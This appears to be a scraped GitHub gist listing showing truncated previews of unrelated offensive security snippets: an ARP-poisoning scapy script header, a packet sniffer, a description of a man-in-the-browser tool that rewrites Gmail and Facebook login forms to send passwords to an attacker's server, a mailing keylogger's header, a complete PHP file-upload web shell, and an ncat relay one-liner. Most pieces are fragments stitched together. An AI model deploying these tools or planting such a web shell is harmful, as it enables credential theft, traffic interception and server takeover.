This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
import os | |
import sys | |
import threading | |
interface = "en1" | |
target_ip = "172.16.1.71" | |
gateway_ip = "172.16.1.254" | |
packet_count = 1000 | |
poisoning = True |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import os | |
import struct | |
import threading | |
from netaddr import IPNetwork,IPAddress | |
from ctypes import * | |
# host to listen on | |
host = "192.168.0.187" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mitb.py will create a simple example example that will watch for a user browsing Facebook or GMail,de-auth them, and then | |
modify the login form to send their username and password to an HTTP server that we control. | |
Our HTTP server will then simply redirect them back to the real login page. | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This code is taken fro Chapter 1-Mods included |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use Gists to store code you would like to remember later on | |
console.log(window); // log the "window" object to the console |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#-Metadata------------------------------------------------# | |
# Filename: kali.sh (Update: 2014-11-27) # | |
#-Info----------------------------------------------------# | |
# Personal post install script for Kali Linux. # | |
#-Author(s)-----------------------------------------------# | |
# g0tmilk ~ https://blog.g0tmi1k.com # | |
#-Operating System----------------------------------------# | |
# Designed for: Kali Linux 1.0.9a [x64] (VM - VMware) # | |
# Tested on: Kali Linux 1.0.0 - 1.0.9a [x64 & x84] # |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Exploit-db.com Google Dork Hacking Database Replicator written by Andy Bricker | |
# Proof of concept. You shouldnt use this script without prior consent from Exploit-db.com | |
# http://andybricker.com | |
# Contact: andy at andybricker.com | |
# Requirements | |
# Python 2.7 (Has not been tasted on later versions) | |
# Usage: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * | |
* * | |
* File: keymail.c Ver. 0.7 * | |
* * | |
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends * | |
* and email to whoever is set in the #define options at compile time. * | |
* This code is for educational uses, don't be an ass hat with it. * | |
* White Scorpion (www.white-scorpion.nl) did the initial work on the key * | |
* logger, but he has gone on to bigger and better things. * | |
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; | |
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; | |
if( $_POST['_upl'] == "Upload" ) { | |
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!! Enjoy brother</b><br><br>'; } | |
else { echo '<b>Upload Failed !!! Try again</b><br><br>'; } | |
} | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -m SimpleHTTPServer & ncat --ssl -l 8443 --sh-exec "ncat 127.0.0.1 8000" --keep-open |